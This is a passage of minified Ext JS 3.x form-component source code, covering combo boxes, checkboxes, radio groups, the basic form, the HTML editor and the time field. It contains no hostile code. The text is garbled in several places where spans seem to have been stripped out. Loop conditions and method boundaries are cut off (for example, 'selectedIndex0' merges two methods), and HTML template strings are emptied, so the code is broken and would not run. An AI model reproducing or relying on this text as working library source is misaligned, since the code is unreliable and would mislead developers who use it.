    ":"");this.restrictHeight();this.selectedIndex=-1},onLoad:function(){if(!this.hasFocus){return}if(this.store.getCount()>0||this.listEmptyText){this.expand();this.restrictHeight();if(this.lastQuery==this.allQuery){if(this.editable){this.el.dom.select()}if(this.autoSelect!==false&&!this.selectByValue(this.value,true)){this.select(0,true)}}else{if(this.autoSelect!==false){this.selectNext()}if(this.typeAhead&&this.lastKey!=Ext.EventObject.BACKSPACE&&this.lastKey!=Ext.EventObject.DELETE){this.taTask.delay(this.typeAheadDelay)}}}else{this.collapse()}},onTypeAhead:function(){if(this.store.getCount()>0){var b=this.store.getAt(0);var c=b.data[this.displayField];var a=c.length;var d=this.getRawValue().length;if(d!=a){this.setRawValue(c);this.selectText(d,c.length)}}},assertValue:function(){var b=this.getRawValue(),a;if(this.valueField&&Ext.isDefined(this.value)){a=this.findRecord(this.valueField,this.value)}if(!a||a.get(this.displayField)!=b){a=this.findRecord(this.displayField,b)}if(!a&&this.forceSelection){if(b.length>0&&b!=this.emptyText){this.el.dom.value=Ext.value(this.lastSelectionText,"");this.applyEmptyText()}else{this.clearValue()}}else{if(a&&this.valueField){if(this.value==b){return}b=a.get(this.valueField||this.displayField)}this.setValue(b)}},onSelect:function(a,b){if(this.fireEvent("beforeselect",this,a,b)!==false){this.setValue(a.data[this.valueField||this.displayField]);this.collapse();this.fireEvent("select",this,a,b)}},getName:function(){var a=this.hiddenField;return a&&a.name?a.name:this.hiddenName||Ext.form.ComboBox.superclass.getName.call(this)},getValue:function(){if(this.valueField){return Ext.isDefined(this.value)?this.value:""}else{return Ext.form.ComboBox.superclass.getValue.call(this)}},clearValue:function(){if(this.hiddenField){this.hiddenField.value=""}this.setRawValue("");this.lastSelectionText="";this.applyEmptyText();this.value=""},setValue:function(a){var c=a;if(this.valueField){var b=this.findRecord(this.valueField,a);if(b){c=b.data[this.displayField]}else{if(Ext.isDefined(this.valueNotFoundText)){c=this.valueNotFoundText}}}this.lastSelectionText=c;if(this.hiddenField){this.hiddenField.value=Ext.value(a,"")}Ext.form.ComboBox.superclass.setValue.call(this,c);this.value=a;return this},findRecord:function(c,b){var a;if(this.store.getCount()>0){this.store.each(function(d){if(d.data[c]==b){a=d;return false}})}return a},onViewMove:function(b,a){this.inKeyMode=false},onViewOver:function(d,b){if(this.inKeyMode){return}var c=this.view.findItemFromChild(b);if(c){var a=this.view.indexOf(c);this.select(a,false)}},onViewClick:function(b){var a=this.view.getSelectedIndexes()[0],c=this.store,d=c.getAt(a);if(d){this.onSelect(d,a)}else{this.collapse()}if(b!==false){this.el.focus()}},restrictHeight:function(){this.innerList.dom.style.height="";var b=this.innerList.dom,e=this.list.getFrameWidth("tb")+(this.resizable?this.handleHeight:0)+this.assetHeight,c=Math.max(b.clientHeight,b.offsetHeight,b.scrollHeight),a=this.getPosition()[1]-Ext.getBody().getScroll().top,g=Ext.lib.Dom.getViewHeight()-a-this.getSize().height,d=Math.max(a,g,this.minHeight||0)-this.list.shadowOffset-e-5;c=Math.min(c,d,this.maxHeight);this.innerList.setHeight(c);this.list.beginUpdate();this.list.setHeight(c+e);this.list.alignTo.apply(this.list,[this.el].concat(this.listAlign));this.list.endUpdate()},isExpanded:function(){return this.list&&this.list.isVisible()},selectByValue:function(a,c){if(!Ext.isEmpty(a,true)){var b=this.findRecord(this.valueField||this.displayField,a);if(b){this.select(this.store.indexOf(b),c);return true}}return false},select:function(a,c){this.selectedIndex=a;this.view.select(a);if(c!==false){var b=this.view.getNode(a);if(b){this.innerList.scrollChildIntoView(b,false)}}},selectNext:function(){var a=this.store.getCount();if(a>0){if(this.selectedIndex==-1){this.select(0)}else{if(this.selectedIndex0){if(this.selectedIndex==-1){this.select(0)}else{if(this.selectedIndex!==0){this.select(this.selectedIndex-1)}}}},onKeyUp:function(b){var a=b.getKey();if(this.editable!==false&&this.readOnly!==true&&(a==b.BACKSPACE||!b.isSpecialKey())){this.lastKey=a;this.dqTask.delay(this.queryDelay)}Ext.form.ComboBox.superclass.onKeyUp.call(this,b)},validateBlur:function(){return !this.list||!this.list.isVisible()},initQuery:function(){this.doQuery(this.getRawValue())},beforeBlur:function(){this.assertValue()},postBlur:function(){Ext.form.ComboBox.superclass.postBlur.call(this);this.collapse();this.inKeyMode=false},doQuery:function(c,b){c=Ext.isEmpty(c)?"":c;var a={query:c,forceAll:b,combo:this,cancel:false};if(this.fireEvent("beforequery",a)===false||a.cancel){return false}c=a.query;b=a.forceAll;if(b===true||(c.length>=this.minChars)){if(this.lastQuery!==c){this.lastQuery=c;if(this.mode=="local"){this.selectedIndex=-1;if(b){this.store.clearFilter()}else{this.store.filter(this.displayField,c)}this.onLoad()}else{this.store.baseParams[this.queryParam]=c;this.store.load({params:this.getParams(c)});this.expand()}}else{this.selectedIndex=-1;this.onLoad()}}},getParams:function(a){var b={},c=this.store.paramNames;if(this.pageSize){b[c.start]=0;b[c.limit]=this.pageSize}return b},collapse:function(){if(!this.isExpanded()){return}this.list.hide();Ext.getDoc().un("mousewheel",this.collapseIf,this);Ext.getDoc().un("mousedown",this.collapseIf,this);this.fireEvent("collapse",this)},collapseIf:function(a){if(!this.isDestroyed&&!a.within(this.wrap)&&!a.within(this.list)){this.collapse()}},expand:function(){if(this.isExpanded()||!this.hasFocus){return}if(this.title||this.pageSize){this.assetHeight=0;if(this.title){this.assetHeight+=this.header.getHeight()}if(this.pageSize){this.assetHeight+=this.footer.getHeight()}}if(this.bufferSize){this.doResize(this.bufferSize);delete this.bufferSize}this.list.alignTo.apply(this.list,[this.el].concat(this.listAlign));this.list.setZIndex(this.getZIndex());this.list.show();if(Ext.isGecko2){this.innerList.setOverflow("auto")}this.mon(Ext.getDoc(),{scope:this,mousewheel:this.collapseIf,mousedown:this.collapseIf});this.fireEvent("expand",this)},onTriggerClick:function(){if(this.readOnly||this.disabled){return}if(this.isExpanded()){this.collapse();this.el.focus()}else{this.onFocus({});if(this.triggerAction=="all"){this.doQuery(this.allQuery,true)}else{this.doQuery(this.getRawValue())}this.el.focus()}}});Ext.reg("combo",Ext.form.ComboBox);Ext.form.Checkbox=Ext.extend(Ext.form.Field,{focusClass:undefined,fieldClass:"x-form-field",checked:false,boxLabel:" ",defaultAutoCreate:{tag:"input",type:"checkbox",autocomplete:"off"},actionMode:"wrap",initComponent:function(){Ext.form.Checkbox.superclass.initComponent.call(this);this.addEvents("check")},onResize:function(){Ext.form.Checkbox.superclass.onResize.apply(this,arguments);if(!this.boxLabel&&!this.fieldLabel){this.el.alignTo(this.wrap,"c-c")}},initEvents:function(){Ext.form.Checkbox.superclass.initEvents.call(this);this.mon(this.el,{scope:this,click:this.onClick,change:this.onClick})},markInvalid:Ext.emptyFn,clearInvalid:Ext.emptyFn,onRender:function(b,a){Ext.form.Checkbox.superclass.onRender.call(this,b,a);if(this.inputValue!==undefined){this.el.dom.value=this.inputValue}this.wrap=this.el.wrap({cls:"x-form-check-wrap"});if(this.boxLabel){this.wrap.createChild({tag:"label",htmlFor:this.el.id,cls:"x-form-cb-label",html:this.boxLabel})}if(this.checked){this.setValue(true)}else{this.checked=this.el.dom.checked}if(Ext.isIE&&!Ext.isStrict){this.wrap.repaint()}this.resizeEl=this.positionEl=this.wrap},onDestroy:function(){Ext.destroy(this.wrap);Ext.form.Checkbox.superclass.onDestroy.call(this)},initValue:function(){this.originalValue=this.getValue()},getValue:function(){if(this.rendered){return this.el.dom.checked}return this.checked},onClick:function(){if(this.el.dom.checked!=this.checked){this.setValue(this.el.dom.checked)}},setValue:function(a){var c=this.checked,b=this.inputValue;if(a===false){this.checked=false}else{this.checked=(a===true||a==="true"||a=="1"||(b?a==b:String(a).toLowerCase()=="on"))}if(this.rendered){this.el.dom.checked=this.checked;this.el.dom.defaultChecked=this.checked}if(c!=this.checked){this.fireEvent("check",this,this.checked);if(this.handler){this.handler.call(this.scope||this,this,this.checked)}}return this}});Ext.reg("checkbox",Ext.form.Checkbox);Ext.form.CheckboxGroup=Ext.extend(Ext.form.Field,{columns:"auto",vertical:false,allowBlank:true,blankText:"You must select at least one item in this group",defaultType:"checkbox",groupCls:"x-form-check-group",initComponent:function(){this.addEvents("change");this.on("change",this.validate,this);Ext.form.CheckboxGroup.superclass.initComponent.call(this)},onRender:function(j,g){if(!this.el){var p={autoEl:{id:this.id},cls:this.groupCls,layout:"column",renderTo:j,bufferResize:false};var a={xtype:"container",defaultType:this.defaultType,layout:"form",defaults:{hideLabel:true,anchor:"100%"}};if(this.items[0].items){Ext.apply(p,{layoutConfig:{columns:this.items.length},defaults:this.defaults,items:this.items});for(var e=0,m=this.items.length;e0&&e%r==0){o++}if(this.items[e].fieldLabel){this.items[e].hideLabel=false}n[o].items.push(this.items[e])}}else{for(var e=0,m=this.items.length;e-1){b.setValue(true)}})},getBox:function(b){var a=null;this.eachItem(function(c){if(b==c||c.dataIndex==b||c.id==b||c.getName()==b){a=c;return false}});return a},getValue:function(){var a=[];this.eachItem(function(b){if(b.checked){a.push(b)}});return a},eachItem:function(b,a){if(this.items&&this.items.each){this.items.each(b,a||this)}},getRawValue:Ext.emptyFn,setRawValue:Ext.emptyFn});Ext.reg("checkboxgroup",Ext.form.CheckboxGroup);Ext.form.CompositeField=Ext.extend(Ext.form.Field,{defaultMargins:"0 5 0 0",skipLastItemMargin:true,isComposite:true,combineErrors:true,labelConnector:", ",initComponent:function(){var g=[],b=this.items,e;for(var d=0,c=b.length;d")},sortErrors:function(){var a=this.items;this.fieldErrors.sort("ASC",function(g,d){var c=function(b){return function(i){return i.getName()==b}};var h=a.findIndexBy(c(g.field)),e=a.findIndexBy(c(d.field));return h1){var a=this.getBox(c);if(a){a.setValue(b);if(a.checked){this.eachItem(function(d){if(d!==a){d.setValue(false)}})}}}else{this.setValueForItem(c)}},setValueForItem:function(a){a=String(a).split(",")[0];this.eachItem(function(b){b.setValue(a==b.inputValue)})},fireChecked:function(){if(!this.checkTask){this.checkTask=new Ext.util.DelayedTask(this.bufferChecked,this)}this.checkTask.delay(10)},bufferChecked:function(){var a=null;this.eachItem(function(b){if(b.checked){a=b;return false}});this.fireEvent("change",this,a)},onDestroy:function(){if(this.checkTask){this.checkTask.cancel();this.checkTask=null}Ext.form.RadioGroup.superclass.onDestroy.call(this)}});Ext.reg("radiogroup",Ext.form.RadioGroup);Ext.form.Hidden=Ext.extend(Ext.form.Field,{inputType:"hidden",shouldLayout:false,onRender:function(){Ext.form.Hidden.superclass.onRender.apply(this,arguments)},initEvents:function(){this.originalValue=this.getValue()},setSize:Ext.emptyFn,setWidth:Ext.emptyFn,setHeight:Ext.emptyFn,setPosition:Ext.emptyFn,setPagePosition:Ext.emptyFn,markInvalid:Ext.emptyFn,clearInvalid:Ext.emptyFn});Ext.reg("hidden",Ext.form.Hidden);Ext.form.BasicForm=Ext.extend(Ext.util.Observable,{constructor:function(b,a){Ext.apply(this,a);if(Ext.isString(this.paramOrder)){this.paramOrder=this.paramOrder.split(/[\s,|]/)}this.items=new Ext.util.MixedCollection(false,function(c){return c.getItemId()});this.addEvents("beforeaction","actionfailed","actioncomplete");if(b){this.initEl(b)}Ext.form.BasicForm.superclass.constructor.call(this)},timeout:30,paramOrder:undefined,paramsAsHash:false,waitTitle:"Please Wait...",activeAction:null,trackResetOnLoad:false,initEl:function(a){this.el=Ext.get(a);this.id=this.el.id||Ext.id();if(!this.standardSubmit){this.el.on("submit",this.onSubmit,this)}this.el.addClass("x-form")},getEl:function(){return this.el},onSubmit:function(a){a.stopEvent()},destroy:function(a){if(a!==true){this.items.each(function(b){Ext.destroy(b)});Ext.destroy(this.el)}this.items.clear();this.purgeListeners()},isValid:function(){var a=true;this.items.each(function(b){if(!b.validate()){a=false}});return a},isDirty:function(){var a=false;this.items.each(function(b){if(b.isDirty()){a=true;return false}});return a},doAction:function(b,a){if(Ext.isString(b)){b=new Ext.form.Action.ACTION_TYPES[b](this,a)}if(this.fireEvent("beforeaction",this,b)!==false){this.beforeAction(b);b.run.defer(100,b)}return this},submit:function(b){b=b||{};if(this.standardSubmit){var a=b.clientValidation===false||this.isValid();if(a){var c=this.el.dom;if(this.url&&Ext.isEmpty(c.action)){c.action=this.url}c.submit()}return a}var d=String.format("{0}submit",this.api?"direct":"");this.doAction(d,b);return this},load:function(a){var b=String.format("{0}load",this.api?"direct":"");this.doAction(b,a);return this},updateRecord:function(b){b.beginEdit();var a=b.fields,d,c;a.each(function(e){d=this.findField(e.name);if(d){c=d.getValue();if(Ext.type(c)!==false&&c.getGroupValue){c=c.getGroupValue()}else{if(d.eachItem){c=[];d.eachItem(function(g){c.push(g.getValue())})}}b.set(e.name,c)}},this);b.endEdit();return this},loadRecord:function(a){this.setValues(a.data);return this},beforeAction:function(a){this.items.each(function(c){if(c.isFormField&&c.syncValue){c.syncValue()}});var b=a.options;if(b.waitMsg){if(this.waitMsgTarget===true){this.el.mask(b.waitMsg,"x-mask-loading")}else{if(this.waitMsgTarget){this.waitMsgTarget=Ext.get(this.waitMsgTarget);this.waitMsgTarget.mask(b.waitMsg,"x-mask-loading")}else{Ext.MessageBox.wait(b.waitMsg,b.waitTitle||this.waitTitle)}}}},afterAction:function(a,c){this.activeAction=null;var b=a.options;if(b.waitMsg){if(this.waitMsgTarget===true){this.el.unmask()}else{if(this.waitMsgTarget){this.waitMsgTarget.unmask()}else{Ext.MessageBox.updateProgress(1);Ext.MessageBox.hide()}}}if(c){if(b.reset){this.reset()}Ext.callback(b.success,b.scope,[this,a]);this.fireEvent("actioncomplete",this,a)}else{Ext.callback(b.failure,b.scope,[this,a]);this.fireEvent("actionfailed",this,a)}},findField:function(c){var b=this.items.get(c);if(!Ext.isObject(b)){var a=function(d){if(d.isFormField){if(d.dataIndex==c||d.id==c||d.getName()==c){b=d;return false}else{if(d.isComposite){return d.items.each(a)}else{if(d instanceof Ext.form.CheckboxGroup&&d.rendered){return d.eachItem(a)}}}}};this.items.each(a)}return b||null},markInvalid:function(h){if(Ext.isArray(h)){for(var c=0,a=h.length;c':">"),c,"")}return d.join("")},createToolbar:function(e){var c=[];var a=Ext.QuickTips&&Ext.QuickTips.isEnabled();function d(j,h,i){return{itemId:j,cls:"x-btn-icon",iconCls:"x-edit-"+j,enableToggle:h!==false,scope:e,handler:i||e.relayBtnCmd,clickEvent:"mousedown",tooltip:a?e.buttonTips[j]||undefined:undefined,overflowText:e.buttonTips[j].title||undefined,tabIndex:-1}}if(this.enableFont&&!Ext.isSafari2){var g=new Ext.Toolbar.Item({autoEl:{tag:"select",cls:"x-font-select",html:this.createFontOptions()}});c.push(g,"-")}if(this.enableFormat){c.push(d("bold"),d("italic"),d("underline"))}if(this.enableFontSize){c.push("-",d("increasefontsize",false,this.adjustFont),d("decreasefontsize",false,this.adjustFont))}if(this.enableColors){c.push("-",{itemId:"forecolor",cls:"x-btn-icon",iconCls:"x-edit-forecolor",clickEvent:"mousedown",tooltip:a?e.buttonTips.forecolor||undefined:undefined,tabIndex:-1,menu:new Ext.menu.ColorMenu({allowReselect:true,focus:Ext.emptyFn,value:"000000",plain:true,listeners:{scope:this,select:function(i,h){this.execCmd("forecolor",Ext.isWebKit||Ext.isIE?"#"+h:h);this.deferFocus()}},clickEvent:"mousedown"})},{itemId:"backcolor",cls:"x-btn-icon",iconCls:"x-edit-backcolor",clickEvent:"mousedown",tooltip:a?e.buttonTips.backcolor||undefined:undefined,tabIndex:-1,menu:new Ext.menu.ColorMenu({focus:Ext.emptyFn,value:"FFFFFF",plain:true,allowReselect:true,listeners:{scope:this,select:function(i,h){if(Ext.isGecko){this.execCmd("useCSS",false);this.execCmd("hilitecolor",h);this.execCmd("useCSS",true);this.deferFocus()}else{this.execCmd(Ext.isOpera?"hilitecolor":"backcolor",Ext.isWebKit||Ext.isIE?"#"+h:h);this.deferFocus()}}},clickEvent:"mousedown"})})}if(this.enableAlignments){c.push("-",d("justifyleft"),d("justifycenter"),d("justifyright"))}if(!Ext.isSafari2){if(this.enableLinks){c.push("-",d("createlink",false,this.createLink))}if(this.enableLists){c.push("-",d("insertorderedlist"),d("insertunorderedlist"))}if(this.enableSourceEdit){c.push("-",d("sourceedit",true,function(h){this.toggleSourceEdit(!this.sourceEditMode)}))}}var b=new Ext.Toolbar({renderTo:this.wrap.dom.firstChild,items:c});if(g){this.fontSelect=g.el;this.mon(this.fontSelect,"change",function(){var h=this.fontSelect.dom.value;this.relayCmd("fontname",h);this.deferFocus()},this)}this.mon(b.el,"click",function(h){h.preventDefault()});this.tb=b;this.tb.doLayout()},onDisable:function(){this.wrap.mask();Ext.form.HtmlEditor.superclass.onDisable.call(this)},onEnable:function(){this.wrap.unmask();Ext.form.HtmlEditor.superclass.onEnable.call(this)},setReadOnly:function(b){Ext.form.HtmlEditor.superclass.setReadOnly.call(this,b);if(this.initialized){if(Ext.isIE){this.getEditorBody().contentEditable=!b}else{this.setDesignMode(!b)}var a=this.getEditorBody();if(a){a.style.cursor=this.readOnly?"default":"text"}this.disableItems(b)}},getDocMarkup:function(){var a=Ext.fly(this.iframe).getHeight()-this.iframePad*2;return String.format('',this.iframePad,a)},getEditorBody:function(){var a=this.getDoc();return a.body||a.documentElement},getDoc:function(){return Ext.isIE?this.getWin().document:(this.iframe.contentDocument||this.getWin().document)},getWin:function(){return Ext.isIE?this.iframe.contentWindow:window.frames[this.iframe.name]},onRender:function(b,a){Ext.form.HtmlEditor.superclass.onRender.call(this,b,a);this.el.dom.style.border="0 none";this.el.dom.setAttribute("tabIndex",-1);this.el.addClass("x-hidden");if(Ext.isIE){this.el.applyStyles("margin-top:-1px;margin-bottom:-1px;")}this.wrap=this.el.wrap({cls:"x-html-editor-wrap",cn:{cls:"x-html-editor-tb"}});this.createToolbar(this);this.disableItems(true);this.tb.doLayout();this.createIFrame();if(!this.width){var c=this.el.getSize();this.setSize(c.width,this.height||c.height)}this.resizeEl=this.positionEl=this.wrap},createIFrame:function(){var a=document.createElement("iframe");a.name=Ext.id();a.frameBorder="0";a.style.overflow="auto";a.src=Ext.SSL_SECURE_URL;this.wrap.dom.appendChild(a);this.iframe=a;this.monitorTask=Ext.TaskMgr.start({run:this.checkDesignMode,scope:this,interval:100})},initFrame:function(){Ext.TaskMgr.stop(this.monitorTask);var b=this.getDoc();this.win=this.getWin();b.open();b.write(this.getDocMarkup());b.close();var a={run:function(){var c=this.getDoc();if(c.body||c.readyState=="complete"){Ext.TaskMgr.stop(a);this.setDesignMode(true);this.initEditor.defer(10,this)}},interval:10,duration:10000,scope:this};Ext.TaskMgr.start(a)},checkDesignMode:function(){if(this.wrap&&this.wrap.dom.offsetWidth){var a=this.getDoc();if(!a){return}if(!a.editorInitialized||this.getDesignMode()!="on"){this.initFrame()}}},setDesignMode:function(b){var a=this.getDoc();if(a){if(this.readOnly){b=false}a.designMode=(/on|true/i).test(String(b).toLowerCase())?"on":"off"}},getDesignMode:function(){var a=this.getDoc();if(!a){return""}return String(a.designMode).toLowerCase()},disableItems:function(a){if(this.fontSelect){this.fontSelect.dom.disabled=a}this.tb.items.each(function(b){if(b.getItemId()!="sourceedit"){b.setDisabled(a)}})},onResize:function(b,c){Ext.form.HtmlEditor.superclass.onResize.apply(this,arguments);if(this.el&&this.iframe){if(Ext.isNumber(b)){var e=b-this.wrap.getFrameWidth("lr");this.el.setWidth(e);this.tb.setWidth(e);this.iframe.style.width=Math.max(e,0)+"px"}if(Ext.isNumber(c)){var a=c-this.wrap.getFrameWidth("tb")-this.tb.el.getHeight();this.el.setHeight(a);this.iframe.style.height=Math.max(a,0)+"px";var d=this.getEditorBody();if(d){d.style.height=Math.max((a-(this.iframePad*2)),0)+"px"}}}},toggleSourceEdit:function(b){var d,a;if(b===undefined){b=!this.sourceEditMode}this.sourceEditMode=b===true;var c=this.tb.getComponent("sourceedit");if(c.pressed!==this.sourceEditMode){c.toggle(this.sourceEditMode);if(!c.xtbHidden){return}}if(this.sourceEditMode){this.previousSize=this.getSize();d=Ext.get(this.iframe).getHeight();this.disableItems(true);this.syncValue();this.iframe.className="x-hidden";this.el.removeClass("x-hidden");this.el.dom.removeAttribute("tabIndex");this.el.focus();this.el.dom.style.height=d+"px"}else{a=parseInt(this.el.dom.style.height,10);if(this.initialized){this.disableItems(this.readOnly)}this.pushValue();this.iframe.className="";this.el.addClass("x-hidden");this.el.dom.setAttribute("tabIndex",-1);this.deferFocus();this.setSize(this.previousSize);delete this.previousSize;this.iframe.style.height=a+"px"}this.fireEvent("editmodechange",this,this.sourceEditMode)},createLink:function(){var a=prompt(this.createLinkText,this.defaultLinkValue);if(a&&a!="http://"){this.relayCmd("createlink",a)}},initEvents:function(){this.originalValue=this.getValue()},markInvalid:Ext.emptyFn,clearInvalid:Ext.emptyFn,setValue:function(a){Ext.form.HtmlEditor.superclass.setValue.call(this,a);this.pushValue();return this},cleanHtml:function(a){a=String(a);if(Ext.isWebKit){a=a.replace(/\sclass="(?:Apple-style-span|khtml-block-placeholder)"/gi,"")}if(a.charCodeAt(0)==this.defaultValue.replace(/\D/g,"")){a=a.substring(1)}return a},syncValue:function(){if(this.initialized){var d=this.getEditorBody();var c=d.innerHTML;if(Ext.isWebKit){var b=d.getAttribute("style");var a=b.match(/text-align:(.*?);/i);if(a&&a[1]){c='
    '+c+"
    "}}c=this.cleanHtml(c);if(this.fireEvent("beforesync",this,c)!==false){this.el.dom.value=c;this.fireEvent("sync",this,c)}}},getValue:function(){this[this.sourceEditMode?"pushValue":"syncValue"]();return Ext.form.HtmlEditor.superclass.getValue.call(this)},pushValue:function(){if(this.initialized){var a=this.el.dom.value;if(!this.activated&&a.length<1){a=this.defaultValue}if(this.fireEvent("beforepush",this,a)!==false){this.getEditorBody().innerHTML=a;if(Ext.isGecko){this.setDesignMode(false);this.setDesignMode(true)}this.fireEvent("push",this,a)}}},deferFocus:function(){this.focus.defer(10,this)},focus:function(){if(this.win&&!this.sourceEditMode){this.win.focus()}else{this.el.focus()}},initEditor:function(){try{var c=this.getEditorBody(),a=this.el.getStyles("font-size","font-family","background-image","background-repeat","background-color","color"),g,b;a["background-attachment"]="fixed";c.bgProperties="fixed";Ext.DomHelper.applyStyles(c,a);g=this.getDoc();if(g){try{Ext.EventManager.removeAll(g)}catch(d){}}b=this.onEditorEvent.createDelegate(this);Ext.EventManager.on(g,{mousedown:b,dblclick:b,click:b,keyup:b,buffer:100});if(Ext.isGecko){Ext.EventManager.on(g,"keypress",this.applyCommand,this)}if(Ext.isIE||Ext.isWebKit||Ext.isOpera){Ext.EventManager.on(g,"keydown",this.fixKeys,this)}g.editorInitialized=true;this.initialized=true;this.pushValue();this.setReadOnly(this.readOnly);this.fireEvent("initialize",this)}catch(d){}},beforeDestroy:function(){if(this.monitorTask){Ext.TaskMgr.stop(this.monitorTask)}if(this.rendered){Ext.destroy(this.tb);var b=this.getDoc();if(b){try{Ext.EventManager.removeAll(b);for(var c in b){delete b[c]}}catch(a){}}if(this.wrap){this.wrap.dom.innerHTML="";this.wrap.remove()}}Ext.form.HtmlEditor.superclass.beforeDestroy.call(this)},onFirstFocus:function(){this.activated=true;this.disableItems(this.readOnly);if(Ext.isGecko){this.win.focus();var a=this.win.getSelection();if(!a.focusNode||a.focusNode.nodeType!=3){var b=a.getRangeAt(0);b.selectNodeContents(this.getEditorBody());b.collapse(true);this.deferFocus()}try{this.execCmd("useCSS",true);this.execCmd("styleWithCSS",false)}catch(c){}}this.fireEvent("activate",this)},adjustFont:function(b){var d=b.getItemId()=="increasefontsize"?1:-1,c=this.getDoc(),a=parseInt(c.queryCommandValue("FontSize")||2,10);if((Ext.isSafari&&!Ext.isSafari2)||Ext.isChrome||Ext.isAir){if(a<=10){a=1+d}else{if(a<=13){a=2+d}else{if(a<=16){a=3+d}else{if(a<=18){a=4+d}else{if(a<=24){a=5+d}else{a=6+d}}}}}a=a.constrain(1,6)}else{if(Ext.isSafari){d*=2}a=Math.max(1,a+d)+(Ext.isSafari?"px":0)}this.execCmd("FontSize",a)},onEditorEvent:function(a){this.updateToolbar()},updateToolbar:function(){if(this.readOnly){return}if(!this.activated){this.onFirstFocus();return}var b=this.tb.items.map,c=this.getDoc();if(this.enableFont&&!Ext.isSafari2){var a=(c.queryCommandValue("FontName")||this.defaultFont).toLowerCase();if(a!=this.fontSelect.dom.value){this.fontSelect.dom.value=a}}if(this.enableFormat){b.bold.toggle(c.queryCommandState("bold"));b.italic.toggle(c.queryCommandState("italic"));b.underline.toggle(c.queryCommandState("underline"))}if(this.enableAlignments){b.justifyleft.toggle(c.queryCommandState("justifyleft"));b.justifycenter.toggle(c.queryCommandState("justifycenter"));b.justifyright.toggle(c.queryCommandState("justifyright"))}if(!Ext.isSafari2&&this.enableLists){b.insertorderedlist.toggle(c.queryCommandState("insertorderedlist"));b.insertunorderedlist.toggle(c.queryCommandState("insertunorderedlist"))}Ext.menu.MenuMgr.hideAll();this.syncValue()},relayBtnCmd:function(a){this.relayCmd(a.getItemId())},relayCmd:function(b,a){(function(){this.focus();this.execCmd(b,a);this.updateToolbar()}).defer(10,this)},execCmd:function(b,a){var c=this.getDoc();c.execCommand(b,false,a===undefined?null:a);this.syncValue()},applyCommand:function(b){if(b.ctrlKey){var d=b.getCharCode(),a;if(d>0){d=String.fromCharCode(d);switch(d){case"b":a="bold";break;case"i":a="italic";break;case"u":a="underline";break}if(a){this.win.focus();this.execCmd(a);this.deferFocus();b.preventDefault()}}}},insertAtCursor:function(c){if(!this.activated){return}if(Ext.isIE){this.win.focus();var b=this.getDoc(),a=b.selection.createRange();if(a){a.pasteHTML(c);this.syncValue();this.deferFocus()}}else{this.win.focus();this.execCmd("InsertHTML",c);this.deferFocus()}},fixKeys:function(){if(Ext.isIE){return function(g){var a=g.getKey(),d=this.getDoc(),b;if(a==g.TAB){g.stopEvent();b=d.selection.createRange();if(b){b.collapse(true);b.pasteHTML("    ");this.deferFocus()}}else{if(a==g.ENTER){b=d.selection.createRange();if(b){var c=b.parentElement();if(!c||c.tagName.toLowerCase()!="li"){g.stopEvent();b.pasteHTML("
    ");b.collapse(false);b.select()}}}}}}else{if(Ext.isOpera){return function(b){var a=b.getKey();if(a==b.TAB){b.stopEvent();this.win.focus();this.execCmd("InsertHTML","    ");this.deferFocus()}}}else{if(Ext.isWebKit){return function(b){var a=b.getKey();if(a==b.TAB){b.stopEvent();this.execCmd("InsertText","\t");this.deferFocus()}else{if(a==b.ENTER){b.stopEvent();this.execCmd("InsertHtml","

    ");this.deferFocus()}}}}}}}(),getToolbar:function(){return this.tb},buttonTips:{bold:{title:"Bold (Ctrl+B)",text:"Make the selected text bold.",cls:"x-html-editor-tip"},italic:{title:"Italic (Ctrl+I)",text:"Make the selected text italic.",cls:"x-html-editor-tip"},underline:{title:"Underline (Ctrl+U)",text:"Underline the selected text.",cls:"x-html-editor-tip"},increasefontsize:{title:"Grow Text",text:"Increase the font size.",cls:"x-html-editor-tip"},decreasefontsize:{title:"Shrink Text",text:"Decrease the font size.",cls:"x-html-editor-tip"},backcolor:{title:"Text Highlight Color",text:"Change the background color of the selected text.",cls:"x-html-editor-tip"},forecolor:{title:"Font Color",text:"Change the color of the selected text.",cls:"x-html-editor-tip"},justifyleft:{title:"Align Text Left",text:"Align text to the left.",cls:"x-html-editor-tip"},justifycenter:{title:"Center Text",text:"Center text in the editor.",cls:"x-html-editor-tip"},justifyright:{title:"Align Text Right",text:"Align text to the right.",cls:"x-html-editor-tip"},insertunorderedlist:{title:"Bullet List",text:"Start a bulleted list.",cls:"x-html-editor-tip"},insertorderedlist:{title:"Numbered List",text:"Start a numbered list.",cls:"x-html-editor-tip"},createlink:{title:"Hyperlink",text:"Make the selected text a hyperlink.",cls:"x-html-editor-tip"},sourceedit:{title:"Source Edit",text:"Switch to source editing mode.",cls:"x-html-editor-tip"}}});Ext.reg("htmleditor",Ext.form.HtmlEditor);Ext.form.TimeField=Ext.extend(Ext.form.ComboBox,{minValue:undefined,maxValue:undefined,minText:"The time in this field must be equal to or after {0}",maxText:"The time in this field must be equal to or before {0}",invalidText:"{0} is not a valid time",format:"g:i A",altFormats:"g:ia|g:iA|g:i a|g:i A|h:i|g:i|H:i|ga|ha|gA|h a|g a|g A|gi|hi|gia|hia|g|H|gi a|hi a|giA|hiA|gi A|hi A",increment:15,mode:"local",triggerAction:"all",typeAhead:false,initDate:"1/1/2008",initDateFormat:"j/n/Y",initComponent:function(){if(Ext.isDefined(this.minValue)){this.setMinValue(this.minValue,true)}if(Ext.isDefined(this.maxValue)){this.setMaxValue(this.maxValue,true)}if(!this.store){this.generateStore(true)}Ext.form.TimeField.superclass.initComponent.call(this)},setMinValue:function(b,a){this.setLimit(b,true,a);return this},setMaxValue:function(b,a){this.setLimit(b,false,a);return this},generateStore:function(b){var c=this.minValue||new Date(this.initDate).clearTime(),a=this.maxValue||new Date(this.initDate).clearTime().add("mi",(24*60)-1),d=[];while(c<=a){d.push(c.dateFormat(this.format));c=c.add("mi",this.increment)}this.bindStore(d,b)},setLimit:function(b,g,a){var e;if(Ext.isString(b)){e=this.parseDate(b)}else{if(Ext.isDate(b)){e=b}}if(e){var c=new Date(this.initDate).clearTime();c.setHours(e.getHours(),e.getMinutes(),e.getSeconds(),e.getMilliseconds());this[g?"minValue":"maxValue"]=c;if(!a){this.generateStore()}}},getValue:function(){var a=Ext.form.TimeField.superclass.getValue.call(this);return this.formatDate(this.parseDate(a))||""},setValue:function(a){return Ext.form.TimeField.superclass.setValue.call(this,this.formatDate(this.parseDate(a)))},validateValue:Ext.form.DateField.prototype.validateValue,formatDate:Ext.form.DateField.prototype.formatDate,parseDate:function(h){if(!h||Ext.isDate(h)){return h}var j=this.initDate+" ",g=this.initDateFormat+" ",b=Date.parseDate(j+h,g+this.format),c=this.altFormats;if(!b&&c){if(!this.altFormatsArray){this.altFormatsArray=c.split("|")}for(var 